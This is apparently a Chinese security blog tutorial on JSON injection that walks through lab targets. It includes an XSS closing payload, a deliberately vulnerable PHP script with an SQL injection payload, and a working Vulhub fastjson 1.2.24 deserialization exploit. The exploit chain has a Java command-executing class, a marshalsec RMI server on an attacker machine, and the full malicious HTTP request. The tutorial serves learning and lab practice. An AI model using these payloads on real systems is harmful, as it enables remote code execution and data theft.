泛星安全团队第8篇文章
文章内容为学习记录,请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。
- JSON 是轻量级的文本数据交换格式
- JSON 独立于语言:JSON 使用 Javascript语法来描述数据对象,但是 JSON 仍然独立于语言和平台。JSON 解析器和 JSON 库支持许多不同的编程语言。目前非常多的动态(PHP,JSP,.NET)编程语言都支持JSON
- JSON 具有自我描述性,更易理解
JSON转换为 JavaScript 对象
JSON文本格式在语法上与创建 JavaScript 对象的代码相同。
由于这种相似性,无需解析器,JavaScript 程序能够使用内建的 eval() 函数,用 JSON 数据来生成原生的 JavaScript 对象。
语法规则
JSON 语法是 JavaScript 对象表示语法的子集。
- 数据在名称/值对中
- 数据由逗号分隔
- 大括号 {} 保存对象
- 中括号 [] 保存数组,数组可以包含多个对象
JSON名称/值对
JSON 数据的书写格式是:
key : value
名称/值对包括字段名称(在双引号中),后面写一个冒号,然后是值:
"name" : "这是名字"
这很容易理解,等价于这条 JavaScript 语句:
name = "这是名字"
JSON 和 XML 都用于接收 web 服务端的数据。
JSON 和 XML在写法上有所不同,如下所示:
JSON实例
{
"sites": [
{ "name":"name1" , "url":"url1" },
{ "name":"name2" , "url":"url2" },
{ "name":"name3" , "url":"url3" }
]
}
XML实例
<sites>
<site>
<name>name1</name> <url>url1</url>
</site>
<site>
<name>name2</name> <url>url2</url>
</site>
<site>
<name>name3</name> <url>url3</url>
</site>
</sites>
最大的不同是:XML 需要使用 XML 解析器来解析,JSON 可以使用标准的 JavaScript 函数来解析。
为什么JSON比XML好?
XML 比 JSON 更难解析。
JSON 可以直接使用现有的 JavaScript 对象解析。
针对 AJAX 应用,JSON 比 XML 数据加载更快,而且更简单:
使用 XML
- 获取 XML 文档
- 使用 XML DOM 迭代循环文档
- 接数据解析出来复制给变量
使用 JSON
- 获取 JSON 字符串
- JSON.Parse 解析 JSON 字符串
JSON注入是指应用程序所解析的JSON数据来源于不可信赖的数据源,程序没有对这些不可信赖的数据进行验证、过滤,如果应用程序使用未经验证的输入构造 JSON,则可以更改 JSON 数据的语义。
1、将数据包发往burpsuit。
2、将抓到的包发往repeater。
3、根据ToolID为5找到对应的JSON语句。
4、修改ToolID,获取到简短一点的JSON。
5、根据步骤4中的代码对json语句进行闭合。
"}}';alert(/aaa/);//
将查询代码修改为5中的代码后,查询的语句变为。PS:正常情况下要将分号进行编码(%3b)。
var gPenTestToolsJSONString = '{"query": {"toolIDRequested": ""}}';alert(/aaa/);//", "penTestTools": []}}'
在burp中修改ToolID值后发包,此时看到网页弹窗。
源码
header(
'content-type:text/html;charset=utf-8'
);
if
(
isset
($_POST[
'json'
])){
$json_str=$_POST[
'json'
];
$json=json_decode($json_str);
if
(!$json){
die
(
'JSON文档格式有误,请检查'
);
}
$username=$json->username;
//$passwd=$json->password;
//建立mysql连接,root/root连接本地数据库
$mysqli=
new
mysqli();
$mysqli->connect(
'localhost'
,
'root'
,
'root'
);
if
($mysqli->connect_errno){
die
(
'数据库连接失败:'
.$mysqli->connect_error);
}
//设置数据库名
$mysqli->select_db(
'security'
);
if
($mysqli->errno){
dir(
'打开数据库失败:'
.$mysqli->error);
}
//数据库编码格式
$mysqli->set_charset(
'utf-8'
);
//从users表中查询username,password字段
$sql=
"SELECT username,password FROM users WHERE username='{$username}'"
;
$result=$mysqli->query($sql);
if
(!$result){
die
(
'执行SQL语句失败:'
.$mysqli->error);
}
else
if
($result->num_rows==
0
){
die
(
'查询结果为空'
);
}
else
{
$array1=$result->fetch_all(MYSQLI_ASSOC);
echo
"用户名:{$array1[0]['username']},密码:{$array1[0]['password']}"
;
}
$result->free();
$mysqli->close();
}
1、由源码分析出是:
- 根据POST请求获取的JSON
- 根据JSON的username值到数据库中进行查询
- 字符型注入
2、构造对应的payload进行查询。
json
={
"username"
:
"admin' and 1 = 1#"
}
靶机 Vulhub
fastjson 1.2.24 反序列化导致任意命令执行漏洞
环境
靶机:192.168.225.132
kali:192.168.225.129
1、开启靶机。
sudo docker-compose up -d
2、访问靶机对应端口。
3、抓包后修改数据发现能够直接回显。
4、因为目标环境是Java 8u102,没有com.sun.jndi.rmi.object.trustURLCodebase的限制,我们可以使用com.sun.rowset.JdbcRowSetImpl的利用链,借助JNDI注入来执行命令。
保存下方代码为TouchFile.java。PS:java中文件名必须和类名一致,否则会报错。
// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/success"};//在靶机tmp下新建文件夹
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
5、根据目标环境的java版本,在编译软件中选择对应的java版本编译,编译后得到.class文件。
6、在kali中开启http服务以及rmi服务供靶机远程调用。
开启http
python -m SimpleHTTPServer
7777
开启rmi
java
-cp marshalsec-0.0.3-SNAPSHOT-
all
.jar marshalsec.jndi.RMIRefServer
"http://192.168.225.129:7777/#TouchFile"
9999
7、向靶机发送payload。
POST
/
HTTP/1.1
Host
: 192.168.225.132:8090
Upgrade-Insecure-Requests
: 1
User-Agent
: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept
: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding
: gzip, deflate
Accept-Language
: zh-CN,zh;q=0.9
Connection
: close
Content-Length
: 167
Content-Type
: application/json
{
"b"
:{
"@type"
:
"com.sun.rowset.JdbcRowSetImpl"
,
"dataSourceName"
:
"rmi://192.168.225.129:9999/TouchFile"
,
"autoCommit"
:
true
}
}
8、登录靶机,文件成功创建,此处注意需要进入对应docker。
sudo
docker ps
sudo
docker exec -it 5b02 bash
9、kali效果图。
往期回顾
·END·
原文始发于微信公众号(千寻安服):JSON注入入门
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论